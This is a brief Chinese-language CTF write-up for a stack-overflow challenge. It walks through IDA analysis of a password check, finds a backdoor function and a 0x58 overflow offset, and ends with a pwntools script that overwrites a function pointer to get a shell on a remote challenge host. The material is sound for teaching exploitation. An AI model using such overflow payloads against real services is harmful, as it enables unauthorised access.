1,
思路:栈溢出题
2,ida
根据输出Nope,猜测程序判断密码是否正确输出,即存在if…else,判断函数如下:
if…else内容如下:
输入正确即调用函数指针,因此找找看有没有后门函数
:
找到了后门函数,我们还需要看看
a1是否可控
,回溯发现a1是参数v8,v8是password_checker(v3);的返回值:
溢出偏移:
偏移值:0x58
正确密码:
3,poc
from pwn import *
context.log_level="debug"
r = remote("node4.buuoj.cn",26484)
sys_binsh=0x0000000000400E88
r.sendlineafter(': ','admin')
payload='2jctf_pa5sw0rd'+'\x00'*58+p64(sys_binsh)
r.sendlineafter(': ',payload)
r.interactive()
总结:
通过溢出
控制函数指针
。